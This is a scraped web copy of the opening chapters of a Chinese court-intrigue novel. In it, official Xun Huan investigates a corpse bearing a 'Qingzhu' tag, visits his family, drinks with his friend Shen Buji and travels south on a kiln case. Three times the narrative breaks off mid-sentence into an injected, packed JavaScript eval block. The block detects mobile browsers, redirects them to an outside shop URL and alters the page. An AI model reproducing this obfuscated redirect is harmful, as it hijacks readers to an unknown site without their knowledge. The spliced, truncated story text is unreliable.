《朱明承夜》 1. 第一章 鞋底印 申正时分的阳光从天际浇了下来,但穿林拨叶落到荒丛小径上时,江河汤汤也捱不住繁茂枝叶的过度取用,只剩下几道潺潺溪流般的光亮,流转在林下往来的人身上。 石子路难走,近日多雨,山路泥泞,抬着一具尸体更是难上加难,接了报案飞飙而来的刑部官吏撞上了受命而来的仵作,也已行至不远,京兆府上下衙役顿时将松下来的那口气又吸了回去。 司法参军史辛理上了年纪,是跟着京兆尹葛宏才葛大人一路升上来、一路保下来的,风风雨雨经历颇多,葛宏才的肚子有多大,他史辛理想要告老还乡的心就有多大。奈何事不遂人愿,他终究是在这样危险的年纪走到了这样危险的位子上。 离这处石阶砌起来的山包不远,就矗立着化隆城外香火最旺的双塔寺,山道上来来往往的人数不胜数,有另辟蹊径的看见这荒僻处死了人,将案子报到除京兆府以外的刑部、大理寺,这也正常,有时候还能给他们京兆府省下不少麻烦。 但现在最麻烦的是,案子已经被京兆府接下了,而刑部的人又到了。 平心而论,史辛理是很希望这桩案子能栽到刑部头上的,就算年末他的考课业绩不好看也无妨,但和三法司抢案子简直是嫌命长。不过刑部的人要不要这还是个未知数,就算要,他还得编出由头将案子不着痕迹地恭送过去,真是愁也愁死了。 史辛理擦着两鬓的汗,朝比他更不淡定的属下扯出了一个无比勉强的宽慰之笑,忽见山道石子路上出现了一骑绯红,他的笑容一僵。 寻思着,自己也没有直视太阳,怎么就花了眼看见了金乌火轮的残影? 心中警铃大作的史辛理用力眯了下眼睛,等他看清来人身上的绯红补子绣的居然就是孔雀,嘴角一抽,方才的松快顿时碎成了千千万万段,随着下马赶来招呼的刑部郎中谢改之的一声问候一同葬送入了这荒山野岭。 “史参军!” 史辛理整肃面容,应下白鹇青袍的谢改之的问礼:“谢郎中。” 他随即朝褰摆拾级而上的长身玉立的青年施礼:“侍郎大人怎么亲自来了?” 郇寰还了他的虚礼,一壁朝停尸的石台走去,一壁笑着应了两个字:“顺路。” 史辛理不敢看郇寰有若艳阳当空却让人感不到半分热烈的笑脸,接下谢改之朝自己挤的眼色,呵呵笑了两声便不再多问。 便是谢改之不提醒,史辛理也瞧得出来郇寰的心情不佳,很识相地打着协同办案的名号,连忙将自己从下面听到的案子情况一五一十地和这位阎罗说了,又将衙役找到的物什垫了白布亲自接了呈上前来,诸多解说不可谓不详尽,态度拿捏不可谓不殷勤。 每年化隆上下都要死百而八十个人,这位姓郇的大爷再勤业也不可能事事亲临,且他年纪轻轻已经升到三品侍郎的位子,这些脏活累活自有手底下的郎中们去做,他也不是个呆愣耿直得想累死、害死自己的人,城郊死了平平无奇的普通人劳动不了这位真神的大驾。 史辛理背脊微凉,目光下移挪到手中那块染了血的木制腰牌上。阳光直射,他的手偏上几寸就可有移步换影之效,而这牌子上的纹路似是从老虎背上扒下来的一块皮毛,在光照下,金灿灿的煞是好看。 他好歹在皇城化隆当了这么多年的京官,见识过不少举世罕见的好东西,现下对这牌子的用料已经有了猜测,只是郇寰扫了一眼这来路不明的腰牌,听完自己念出这腰牌上篆刻着的“青竹”二字,就再不分出一点注意,只全神贯注地盯着仵作露天验尸。 史辛理更不敢贸然说出自己的猜测断了他的思路,小心翼翼地将腰牌裹好布交给属下,就见蹲在尸体旁的仵作捣鼓半晌,将一张描了泥印子的纸递给了伸手来接的谢改之,随后不是脱了尸体七零八落的碎衣裳继续验,而是逡巡四下,向这里官阶最高的郇寰请求亲探“案发现场”。 谢改之将纸平展,呈到负手而立的郇寰眼前,郇寰又是扫了一眼就允了仵作的请求,随即让人照着纸上的这枚残缺的鞋印再摹了一张,又要了那块腰牌,潦草地用摹画了鞋印的纸一卷,一并收入了袖中。 史辛理不敢管他拿了腰牌要干什么,也不想知道,只求郇寰拿了东西就快快地将案子一并接了过去,好让他京兆府无事一身轻。 郇寰不会去体谅他,但谢改之同病相怜,看过了史辛理迫切的辞色,便将人拉到一边低声窃窃起来。等仵作探勘完现场回来继续验尸,史辛理面上已无急色。 “禀大人,现场已经被严重破坏,脚印杂乱,没有任何参考价值。” 郇寰微一颔首,正要立于不远仔细看仵作验尸,就听远处马蹄炸响,随即一年轻劲装家仆打扮的人几步跨了过来,附在郇寰耳畔低声说了几句。登时,见过了郇寰眼中异色的史辛理,还没高兴片刻就又坠入了冰窟,一股没来由的不安逐渐弥漫。 这死者的脸已经被乱石崚嶒划得不能看了,但他身上残破的衣裳还能看得出用料不俗,没到富贵的地步也不是贫寒的境地,唯一让人觉得突兀怪异的应当就是他身上唯一值钱的东西——那块腰牌。 如果没有猜错,这应该是金丝楠木雕的玩意,可哪家有钱的主会用金丝楠木做腰牌?暴殄天物!就算这是边角料,用得起金丝楠木的人家绝不等闲,非富即贵,这样一来这死者的身份便又成谜。 至于死者身上除了擦伤还有没有其他的伤口,仵作在验,但史辛理觉得不论验与不验,郇寰心里应当已经有了结果。 史辛理由方才的不安中咂摸出了一点劫后余生的窃喜。他明白了这种不安源头在何,且现在他应该快快退避,快快地与这一切的是是非非断绝关系。不过还未等他开口,一直冷着脸的郇寰突然发了话,几句潦草地别过,由谢改之恭送着下了山包上了官道。 史辛理想起了郇寰说的“顺路”二字,回过神细细揣摩起来,但在看清尸体腹部的那一块青紫过后,浑身一抖。他朝指挥着人前前后后收拾场面的谢改之笑道:“听闻侍郎大人自请探查漉水爆炸案,现又费心劳累于此案,当真是国朝勤业楷模。” 谢改之如何听不懂史辛理想打听此案归属的言外之意,便道:“郇侯的确是我辈楷模,请命以来常在刑部通宵办公,明日又要动身南下,为君为民鞠躬至此,令人叹服。” 史辛理笑着应承,明白此案是交给了谢改之,就着夸郇寰的话头和这位健谈的郎中聊了起来,把方才的“顺路”二字抛在脑后。 而此时的郇寰,上了官道不是折返城中准备明日南下办案事宜,而是顺路盘山而上,驻马时已经到了双塔寺的山门之下。 他穿着官服,大摇大摆从正门入难免引人注目,且大家也熟悉他这张脸,他过往办过的案子也人尽皆知,特情特境,不免引起骚乱。然则今日出城,顺路上山参拜双塔寺的神佛不过是随谢改之一并探案的幌子,如若不进,怕是说不过去。 郇寰下马,仰首望了望巍峨于山门后的宝殿飞檐,理了理衣裳,终究没有从香火缭绕的正门走。请了僧人引路,从偏门入行至一处偏远清雅的禅房,门外十二个护卫拱卫严密,等郇寰的长随冬至报完了名号,方才有人进了禅房请示屋内的贵人。 郇寰没想到会在这里碰见赵王妃窦晴柔,他朝窦晴柔行完礼,也不忘朝坐在窗下同人斗蛐蛐的长英小公主行礼,末了,他抬眼看见与公主斗蛐蛐的那个少年也正抬头望向自己,是青春年少不谙世事的年纪,但却有老成持重上位者的气势。 郇寰留心,朝他微一颔首示意。 齐骞是靖安侯齐珏的儿子,长得和他爹就是一个模子里刻出来的,看不出半点他母亲宣国公主的影子,今日一见,居然是连性子都没有受宣国公主的沾染,这让人莫名欣慰。毕竟郇寰今日这一番劳动,就是为着宣国公主身上乱七八糟的腌臜事。 窦晴柔笑容妥帖,目光掠过郇寰身上的官袍,最终留驻在了他沾了泥的下摆,“郇侯连日劳累,明日就要南下办案,今天——是来双塔寺进香的吗?” 郇寰瞥了一眼窗下的齐骞,示意窦晴柔将两个孩子弄出去后他们再说大人之间的会话。窦晴柔如何看不出,但她竟然是逆了郇寰的意思,笑着一言不发。 既然如此,郇寰也没必要“体贴”了,谢过了婢女搬来的凳子从容坐下,开门见山道:“听闻宣国公主这几日在双塔寺附近的青竹山居小住?” 听见郇寰提起了大姑子宣国,窦晴柔在郇寰面前的笑容也忍不住多了三分厌恶和七分警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514299|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉。她微笑应是,又扭头看向窗下仍在玩耍状似无心于偷听的齐骞和长英,慈爱地道:“今日我们就是一块儿来上香的,她方才出去散心了。” 郇寰斜了目光也瞟了一眼齐骞,“昨日也在?” 窦晴柔的修为极高,还是笑着应是,随即露出三分真假难辨的担忧来:“是出了什么事吗?” 郇寰沉默地又看了眼齐骞。 今年他应该已经十三岁了。郇寰记得自己十三岁时的心境,这个年纪的、出身不凡的贵公子,大抵都有一种狂傲,他是将这种傲十成十地露在了举手投足间,旁人僭越半步都不能善了;而齐骞是内敛的,敛到让人以为他真的少年老成,老成得如同一个心智成熟的、真正的成年人一般。 郇寰猜得出窦晴柔的栽培意,但用亲妈的丑事来磨练齐骞的心智——他不予置评,只将袖中裹着纸、包着布的腰牌递给婢女,让婢女转交到窦晴柔手上。 果然,窦晴柔见了那腰牌上的“青竹”二字神色如故,见了牌上的血迹也不动声色,唯有见到了那枚鞋印,脸色方才沉了下来,“这是何意?” “那人腹部被人踹过一脚,后来摔死了,报到了京兆府。” 窦晴柔沉默了瞬息,将腰牌与纸一并搁到了小桌上,端坐着叠手朝郇寰欠身:“有劳郇侯了。” 郇寰偏头看向窗下,流光璨璨,笑语连连,青梅竹马的亲昵如同一星火点,一点泛酸腐烂的往事自此燃起,又瞬间被他用理智掐灭,“臣此行不是为了邀功的。” 窦晴柔神情郑重,却不说话。 “臣明日就要离京,案子已经从京兆府交到了谢改之手中……”郇寰将目光移到了那腰牌上,“谢改之办事还算牢靠,刑部那里臣也没什么好担心的,只是,请王妃恕臣多嘴一句,万望谨慎。” 这是郇寰给出的忠告,窦晴柔替宣国谢过他的好意。 这不是个清者自清、检点者不惹祸的年代,况且宣国也不是个安定的,她最爱各种美貌俊俏的白面郎君,也因为喜新厌旧、朝三暮四欠下了不少风流债、冤孽债,郇寰刚当上刑部侍郎的时候就顶着压力、冒了风险给她善过后。 虽然郇寰年纪轻轻能穿上三品官服借的是赵王的势,但人家确实有本事将这身官服穿妥帖了、穿长久了,也一直在用行动报答赵王派提携的恩情。现在郇寰要南下出公差,刑部就一个五品郎中谢改之可用——一个五品郎中,没了郇寰这个三品侍郎当靠山,他能处理什么大案、扛什么风雨、如何牢靠? “万望谨慎”这四个字,应当不仅仅是让他们看住了宣国,而是让他们看住他们自己。 窦晴柔深深看了一眼郇寰。 郇寰推过了窦晴柔的盛谢,趁着天色不晚便骑马下山,路过那处山包时,尸体已经被抬走,京兆府和刑部的衙差也都散得差不多了,只有山路上的蹄印昭示着此处曾有的混乱。 冬至想了很久没有想通关节,斗胆问道:“主子,那鞋印究竟有什么重要之处?” 郇寰轻嗤一声:“亏得那鞋印曾经还是你先发现的,现在倒来问我。” 冬至眨眨眼,恍然大悟:“那鞋印竟然……竟然是宣国公主的护卫所穿的专门的靴子!那花纹——我想起来了,我明白了,这面首居然是被宣国公主赶出去的!难怪他有青竹山居的腰牌却命丧山野!” 随即冬至又想明白了,郇寰临时改了行程,叫上了本就一堆事忙不过来的谢郎中一并出现场,又让自己去青竹山居和双塔寺打听宣国公主的行踪,原来是因为在刑部听见安插在京兆府史参军身边的人手传信说,在双塔寺附近的一名死者身上发现了刻有“青竹”的腰牌;而郇寰上双塔寺一则是为了解释和谢补之一起出城探案,二则是为了警告宣国公主,不期遇上了赵王妃。 冬至回过神来,有些忧心地抬头看看天色:“那主子您还去慈悲寺吗?” 这是郇寰的习惯,每逢出远门、办大事,他必然要去兴化坊的慈悲寺为亡母萧夫人上香。 慈悲寺是萧夫人生前最爱去的地方,大抵只有在那里,郇寰才得见自己的心慢慢静下来、沉下去。 郇寰被下山路上迎面的风吹眯了眼睛。 “要上香也不只有这一个地方。” 2. 第二章 此间乐 升平二十三年,化隆城的浓暮,是雀入樊笼前的叹息。 郇寰不过是去换了身衣裳,让人提前去通知了下襄阳侯府自己要去吃晚饭的消息,侯府就上下忙碌,门前挂着的老风灯都莫名崭新起来,正门洞开,左右林立,让他甫一下车,以为自己不是回府,而是到谁家当贵客去了。 上回来侯府,应是八个月前。 郇寰背手立在郇氏祠堂正中央,闭上双眼,默默感受着那股子掺杂了香烟的腐烂气息慢慢地从自己的鼻子钻入肺腑,最后逐渐在自己的身体里沉淀,与自己的血肉化作一体难以辨别。 他已经一个人在化隆住了八个月。 八个月都没有来看望母亲。 郇寰等待自己的那颗为未知所牵挂的心慢慢落入自己的胸膛,睁开眼,朝着在碑林似的祖宗牌位中毫不起眼的那块属于萧夫人的地方下拜,随后如同承天殿上对着圣上退朝时那样郑重肃穆地后退三步,等他终于能转过身,缓步迈出祠堂时,他才发现祠堂外的游廊下一直立着一个挺拔的少年。 郇七郎朝他行礼:“母亲让我来请大哥。” 他在祠堂里站了多久,他就在祠堂外站了多久。 左右不过小齐骞三岁,郇寰却觉得他身上非但没有孩子的鲜嫩稚气、也没有少年的意气风发,浑身上下都是如他母亲柳氏一样说不完的小心谨慎,直让他觉得祠堂内的陈腐都长到了他的躯壳之下,既不鲜活又无比沉闷的郇七郎就是一座人形宗祠。 可他分明记得,七郎的名字叫郇翾。 怒飞饥啸,翾不可当。 “走吧。”郇寰步入游廊,等他已经走了三步远,郇七郎方才沉默地跟上。 他不常回来,一回来就要兴师动众绝非所愿,等他打发完一众叔伯兄弟,这一顿味如嚼蜡的晚饭也将近尾声,满屋子人的生气也逐渐淡去。等到他简要地交代完府中事宜,柳氏收拾出花厅邀他们移步叙话,屋内仅存半缕生机。 这半缕,就是郇八娘。 “大哥哥今天睡在家里吗?”郇八娘蹦蹦跳跳地从柳氏身边蹿到郇寰怀里,一双胖乎乎的小手扯着他的袖子,笑盈盈的眼里尽是期待。 郇寰终于微笑,说出的话也不由自主软了下来:“不哦,大哥哥明天公干,早上要吵着你们的。” 显然,八娘不满意,嘟着嘴,拽着他的袖子荡来荡去,被柳氏温声呵斥:“郇旒,不可无礼。” “不妨,小丫头片子,她高兴就好。”说罢,郇寰架住八娘的肩胛,像小时候一样将已经算不得轻的小姑娘抱了起来,任由她咯咯笑着坐在自己腿上,朝一旁端坐的柳氏和同胞兄弟郇七郎做鬼脸。 郇七郎看看低头喝茶的柳氏,又看看逗弄妹妹的郇寰,将含在口中难以下咽的茶水默默吞了下去。 这时,八娘又问:“大哥哥要到哪里公干?那里有没有好吃的好玩的?” 柳氏微抬眼,见郇寰并不防备也不反感,大喇喇地笑着刮八娘的鼻子,“漉水有什么好玩的?顶多我再买几个花瓶回来让你‘砸’!” 一提起漉水的花瓶,八娘柳眉倒竖,从郇寰怀里跳了下来,气鼓鼓地用手去抓郇寰梳得整齐的头发,随即在郇寰爽朗的笑声中、在郇七郎略微错愕的眼神里、在柳氏忍无可忍的轻斥下,收了动作,坐回了自己的位子,夸张地生起闷气。 再一念及漉水的花瓶,小丫头眼睛一亮,说起今天上午的一件事情来:“今天母亲带我和哥哥去吃宴席,我遇见了邹尚书家的十二娘。” 听见妹妹的闲话扯上了户部尚书邹秉童家,郇寰鲜见地没有如往常般草木皆兵,神态松弛,支着下巴,笑看着八娘的上蹿下跳与叽叽喳喳。 郇八娘模仿起邹十二娘的颐指气使,捏了嗓子复述道:“十二娘说:‘这瓶子有什么好看,脏兮兮的,我家有一只漉水红瓷的梅瓶!那可是贡品!特别漂亮呢!’” 郇七郎终于忍不住打断:“怕不是胡说,怎么可能是贡品。” 郇寰轻笑两声,心里也觉得小孩子家家夸下海口想争面子,可以理解,就算邹秉童有熊心豹子胆敢如此僭越,他一辈子小心翼翼,不至于让嘴巴快又懵懂无知的小辈洞察实情。 但面上还得鼓励、安抚要撸了袖子和亲哥争论的八娘,郇寰一心两用,又盘算了会儿,觉得自己在侯府呆的时间也太久了,便起身朝面色向来阴郁的柳氏告辞:“天色不早,他们小孩子应早些休息了……” 柳氏应声起身,让儿女向他行礼拜别。 郇七郎以为是自己的冒然打断引大哥不快,故而刚说得热闹现在就要走,暗暗自责,却又不想让人看出自己的颓败后悔,但他的僵硬全都落在郇寰的眼里。 郇寰也觉得自己一晚上没和他说几句话不太好,便驻足嘱咐一句:“我这些日子忙,等回来了再查你的功课。” 话毕,他边走边对柳氏道:“三娘身子不爽快,劳太夫人仔细照顾了,她的婚事等我这一道出差回来再说吧。” 郇三娘是外头抬进来的舞姬生的,去年正好及笄,模样还不错,性子也谦和,才情也有,唯一的美中不足大概就是,她是刑部侍郎郇寰的妹妹。 她是襄阳侯郇寰的妹妹也就罢了,到底是有爵之家出来的侯府小姐,出身再差也是寻常门第够不到的尊贵;但刑部侍郎郇寰的妹妹那就不一样了,坚定的赵王党,凡事一旦牵扯到派系纷争,再好的亲事都可能变成抄家灭门的坏事。 郇寰还未出侯府正门,抛了府中的琐事正打算思忖接下来的案子,就见冬至急急跑来,喘吁吁地卖关子:“主子,您猜猜谁要来送您?” 瞧着他脸上洋溢的喜悦,郇寰就心领神会,久久沉郁的心情豁然开朗,嘴上还奇怪着:“他不是前天就离京了吗?” 冬至擦擦汗,弯腰正要为他摆上马凳,喜气洋洋地解释:“您要去漉水的消息早就传遍了,就算是在蟠门的申二爷也知道啊,于是申二爷就特意赶了回来,刚刚到的,还吩咐别惊动您,如果您得闲了就去老地方一块儿吃酒,不得闲那他就明早来送您。” 郇寰一弯嘴角,夺过侍从手中的马缰,翻身上马,一鞭子下去人便消失在茫茫的夜色之中,只留他的声音伴着马蹄飘来:“不必跟来!” 此间乐是化隆数一数二的酒肉地、销魂馆,也是郇寰和申不极少年时代就久久盘踞的窝点,其中的“千金地”是申不极在极乐坊的此间乐常定的包厢,但包厢内“寒酸”的装配却高攀不上它的名字。 其实当年化隆的第一公子哥、浪荡子、申国公府少爷申不极最喜豪奢,可有一回郇寰捏着鼻子转了一圈,嫌弃得发誓再也不会登门,两个炮仗斗了一回,然后申不极乖乖地被郇寰按着头,捏着鼻子把满目的“黄金闪闪”改装成了“死气沉沉”。 是故每一回有新的纨绔造访,有点修养的夸“风流品味”和“世家底蕴”,没文化的就指着申二的鼻子大笑:“申二爷,你不会被小凤仙掏空了身子还掏空了钱袋吧!” 此刻,申不极正极力与自己的欲念斗争。一桌子的好酒却一滴不沾,好吧,他确实偷偷喝了两壶新丰、一壶碧光,但对于海量的申二来说,好比一瓢水要救一屋子火、花丛浪子要当柳下惠。 奈何他的酒品实在不好,少年时代发酒疯,结果被郇寰揍了一顿,后来在襄阳侯府办的正式宴席上又醉得厉害,又给郇寰收拾了一顿。而今要送这位活阎王去漉水公干,自己先醉了,误了大事,明儿赶不上时辰,又要吃瓜落。 申不极觉得自己就是犯贱。 当年他们划拳,赶了个时髦赌了些稀奇百怪的事,比如说给千芳楼的头牌云霄小姐送脑花、给菁明书院的那个脾气好得像年画娃娃的老儒生危游旭送蛆虫、给赢家出嫖资让人家包妓子。而他申不极输给郇寰的一件是,他这个大输家要毫无条件、毫无怨言、鞍前马后地天天送郇寰这个赢家出门。 这是犯了什么毛病! 他申不极也不好每天十二个时辰黏着郇寰,盯着他什么时候出门,然后郑重相送,这像什么话,于是就将出门改成了出远门,这么多年来风雨无阻。 而他明知道郇寰划拳拼酒、斗鸡走狗、跑马打球、赌钱双陆样样第一,还上赶着要赌,结果惨淡,不是犯贱就是犯了疯病。 申不极正心里懊悔,冷不防包厢门被人訇然撞开,一腔怒火正待发作,谁料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大楚当朝有定规,凡四品以上官员必须额外有三年外放履历,若无,可以参加年末考评,但不许晋升。简而言之就是,干得不好要降职贬斥,干得好却不能升官发财。 而刑部右侍郎是正三品,郇寰走了赵王的路子过蒙拔擢,升任右侍郎的几年也有外出两次长期公干来弥补他缺了的三年外放,如今再去一次,恰好可以赶上年末考课。并且,刑部萧尚书年纪大了,估摸着今年就要告老,不出意外的话,尚书的位子自然要由左侍郎顺位接替,如果他不能顺次升任左侍郎而是让别人空降—— 郇寰扳了扳指头,一时之间也算不出他荣升尚书之职是猴年马月。 他能等,但瞬息万变的朝局不能等,赵王不能等。 申不极不傻,他人不在朝中,但对于诸王党争还是略知一二。 当今圣上子嗣多,光是儿子就有九个,除去幼年夭折、死于非命、年岁不永的,茁壮成长的还有六个。而郇寰公开支持的赵王排行第五,上头还有一个魏王老三,下头还有燕王、吴王和尚未册封的曹王、端王,非嫡非长,论实力暂且比不过老牌门阀捧出来的魏王,论圣心比不过自小养在皇后身边的端王。 但就是这样不上不下的赵王,已经和魏王正面对上了,郇寰作为赵王的左膀右臂,艰难可知。 只是申不极本意是想借着“独居人疯狂出差聊慰蠢动春心”的乐子调侃郇寰的,谁知误打误撞扯出了生死攸关的正事,顿时也没了继续玩笑的心思,“这案子你如果办不出什么花儿来,怕是别人就要把你整出花儿了。” 郇寰笑道:“案子的事就不劳你费心了,你还是费心想想怎么和你家老太太解释这一番不辞而别吧。” 想起自家的老祖宗和老祖宗身边的是是非非,申不极一扫愁云,大笑两声,满面红光地凑到郇寰耳边开始分享他的“喜悦”:“老太太一听说我要来送你,哪有不应允的道理?这次我还得谢你呢,若不是要来送你,我怎么能这么快摆脱那只辛母虎?她还在老太太跟前凄惨地伺候着呢!” 郇寰挑眉,面上自若地斟酒,不去看他洋洋得意的样,免得自己一时犯了老毛病动手修理这只尾巴翘到天上去的老狐狸,心中却一波未平,一波又起。 3. 第三章 官来了 申不极他们夫妻不睦,刚成婚时天天吵架,日子过得却很有“人气”。今天申不极去这家勾栏朝当红的姑娘抛了媚眼,明天又去那家妓院为花魁一掷千金,后天又不知宿在哪位清倌的红粉闺房里。他家里那位八抬大轿娶回来的公府小姐出身的正妻,今天就摔一架子的古董,明天就骂一晚上的唾沫,后天,呵,还有后天?申老太太跟前掌刑的老嬷嬷早就棍棒伺候了。 不过逐渐的,情淡了,日子也就淡了,相看两厌,各玩各的,井水不犯河水。 申不极兀自高兴着,恨不得拉上郇寰为自己的重获自由再痛饮几壶,但他没醉,瞧得出向来装得天衣无缝的郇寰酒后的略微失意。 郇寰勤业,自打他进了官场的那一刻起,就是没日没夜、烧灯续昼地工作,连他申不极都知道去他家门口堵人不如去刑部大门口堵人。不过从前他再怎么勤业,也总归爱惜自己的身体,休沐的时候该玩的玩、该喝的喝;但自从八个月前,仿佛天底下的人一起作奸犯科,刑部的案子就像是悬水河泛滥桃花汛,一眨眼都冲到了他眼前。于是乎他干脆住在刑部了,有时投入起来一时连吃饭睡觉都顾不上。 申不极被郇寰压了这么多年,斗嘴也斗出感情了,嘴上虽然天天嚷着要让郇寰倒霉就此落魄,心里却仍希望他一生顺遂的。 他不知道该说些什么,又不敢唉声叹气惹了郇寰的嫌,最后,他只能干巴巴地敬了一杯:“祝你一切顺利。” 郇寰笑着回敬:“那是自然。” 他南下的一路很顺利,案子办起来也十分顺利。 漉水瓷窑爆炸案的思路很简单:瓷窑爆炸,伤及窑工和附近居民,主家不做人,潦草打发;官场沆瀣一气,上上下下不是人。老百姓上天无路、下地无门,求告处处碰壁,被逼无奈和地方豪强械斗出了人命,被地方渲染成刁民动乱,江南道军务司朋比为奸,暴力阵压,因此芝麻绿豆大的小事成了江南道头等大事,闹得民怨沸腾。 其实这样的事情,一年之间,四海之内,数以万计。因着地方上利害相关、辅牙相倚,东风压不倒西风,大多是不了了之。 漉水案之所以能上达天听、得派朝廷专员南下处理,是因为南巡钦差返程,此时已经到了隔壁的苏州府,事情捂不下去了。同时,因为漉水县令和魏王妃娘家郑氏一族有七弯八拐的转折亲,对于在诸王党争里中立不倚的人来说就是阎王索命般的勾当。 赵王一派巴不得魏王因此倒八辈子的血霉,从前不是捕风捉影就是鸡蛋里面挑骨头,更何况魏王派这次犯事是证据确凿,焉能放过这样好的机会? 中立的人坐观成败,魏王派不敢公然袒护,是故,郇寰这样的三品侍郎亲自下场,魏王派也不敢参他小题大做要替赵王扫除异己用心险恶,赵王虽然觉得他有些悬河注火,但终究没有说什么。 一到漉水县,连着六日,郇寰忙得脚不点地,终于将案子处理得七七八八,到第七日,亲自带着臬司衙门的兵到苏州府下辖的震泽县缉捕在逃嫌犯。 他们一行人没有提前和当地官府打招呼,动静也很小,自一家规模不大不小的酒楼收工时,倚栏卖笑的烟花女子甚至不忘朝领头的一位年轻人抛媚眼,这让被抛媚眼的冬至诚惶诚恐。 他看着郇寰这张严肃更胜往日的脸,心里犯怵,又瞟了眼藏在暗处的亲卫,回忆起郇寰没有带亲卫一同办公案的习惯,自诩琢磨出了郇寰的三分心思,便试探着开口:“我看天色已晚,主子您连日奔波,不如我们就在苏州府借宿一晚,明日再回也不迟?” 照规矩,他们出的是公差,了结后自然要回衙门复命。不过郇寰现在就是空降的“行江南道按察使”,品级与臬司衙门里正儿八经的江南道按察使一般无二,他不必向旁人复命,但手底下的兵认的还是原来的主子。这些兵回去了,还有他们自己的亲卫,想来也不会出什么岔子。 一息。 两息。 三息。 就当冬至以为自己猜错了、要遭郇寰一番斥骂时,就见大楚公认的勤业狂魔欣然采纳。 冬至内心一颤,暗赞自己揣摩人心的本事炉火纯青,说起话来都美滋滋,让自己沾了自己的喜气:“那您觉得我们是在县里找一处地方落脚,还是——” 郇寰的目光落到了他的脸上,绝无半点胁迫与威慑,只有一种阔别已久的鼓舞。 冬至记得,以前郇寰还是襄阳侯府的少爷时,就曾用这样的眼神,在有意无意之中暗示自己,不仅要让自己给他找台阶、寻由头,还要把他塑造成逼上梁山的好汉,不得不替天行道、与正统为敌着实是情非得已、时也命也。 冬至在同情完申不极过后默默同情起自己。既然郇寰不愿意直说,那直说的担子就还是由他来挑,总归说错了办砸了也无关紧要,“还是到不远的长洲落脚?既然我们到了苏州府,不如就顺便去长洲拜见钦差……” “诶?这不是……” 主仆二人都被这一声熟悉的轻呼吸引去了注意,齐齐转过脸望过去,就见楼梯拐角处立着位婀娜女子。冬至不由得笑逐颜开,正要欢天喜地地迎上去道一声“夏至姐姐安好”,就听见郇寰低沉且不辨喜怒的回复炸响耳畔:“就住这里。” 夏至乍见阔步而来的郇寰,他乡重逢,心中莫名不安,连忙低声吩咐迎上来、乔装过的护卫:“快去请震泽的知县老爷。” 迎上郇寰探询的目光,夏至赧然一笑,还未纠结完如何妥帖地让郇寰别来插手,就见郇寰已经“贴心”地替她解了围,颔首一礼后,二话不说抬脚上楼,朝楼上一间被守得如铁桶般的包间走去。 仔细一看,门外的护卫分为对峙的两拨,再仔细看看,就会发现其中一拨人已是如山压卵,另一拨已汗如雨下的护卫,又见陌生人前来,更紧张得腿肚打颤。 正在此时,包间里破锣嗓子震天的呐喊顺着轻掩的门缝漫了出来,直惊得郇寰差点心跳骤停。 “报官!给老子报官!反了!要造反了!尔等刁民居然敢这样对我!” 冬至来不及收起自己已经飞入云霄的眉毛,胡乱地捂了耳朵,矮身凑到夏至跟前小声询问:“夏至姐姐,这是怎么回事?” 夏至向来知礼守矩,此时也忍不住骂了一声“晦气”。 “这几个杀才要逼良为娼,那姑娘着实可怜,逃了过来,一听原来是家里爷娘要给兄弟置办聘礼,将她卖了换钱,左右不过几十两银子,殿下慈悲,便想做主给她赎了,结果这些个登徒子拿了钱居然又言辞轻薄起殿下,还叫了人将包间围了欲行不轨……” 冬至碍于郇寰的威严,不敢朝包间里探头探脑,只竖了耳朵仔细听夏至说话,眼睛睃着郇寰那张渐渐沉下去的脸,又见他眼角眉梢的温和被事情的始末一点点磨得尖锐,心里警铃大作。 此刻,那喋喋不休的破锣嗓子旁的一个男人呜呜咽咽地哼了起来:“来人啊!快来人啊!小爷要被刁民害死了!你知道小爷是谁吗!小爷是雍王府的人!是皇亲国戚!你们竟然敢这样对我!是要造反啊!报官呐!” 郇寰在这番聒噪之中按了按突突直跳的太阳穴,在辨清楚了自己心里这股子突如其来的怒气究竟是冲着谁后,在那个男人哼了一百零八次“我是皇亲国戚”后,里面冷森森传来一个轻飘飘却又千金重压的声音,三分冷漠七分玩味,还有说不出的嘲弄和鄙夷:“哦,巧了,我也是皇亲国戚。” 确实是她。 除去方才的怒意,连日劳累得以为自己的五感麻木的郇寰终于咂摸出了一丝没来由、不知名的感觉,仿佛是这声音化作的一条小蛇,咧开嘴里的尖牙利齿在他心上狠狠咬了一口。包间内随之而来的沉默又捻成了一根绳,套上了他的颈项、吊起了他的心膛,一种久违的躁乱与憋闷随着时间流逝慢慢滋生。 不应该,这不像她,又很像她。 除了和当今圣上从一个娘胎里爬出来的鲁国长公主,先帝的儿女、兄弟姐妹死的死、流的流、囚的囚,鲜有善终,宗室凋敝,血脉断绝。 而这雍王,论起来还是圣上的叔叔,只因为当年圣上还是不受宠的兖王时,岭南沦落,他顺手帮了一把,就幸运地一跃成为皇亲中保卒余年的那个。等圣上继位清算宗室,他的王位也固若金汤,更兼雍王一脉安分守己,儿孙也不成器,圣上更没必要赶尽杀绝落个忘恩负义的骂名。 雍王府荣华一世,荣的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 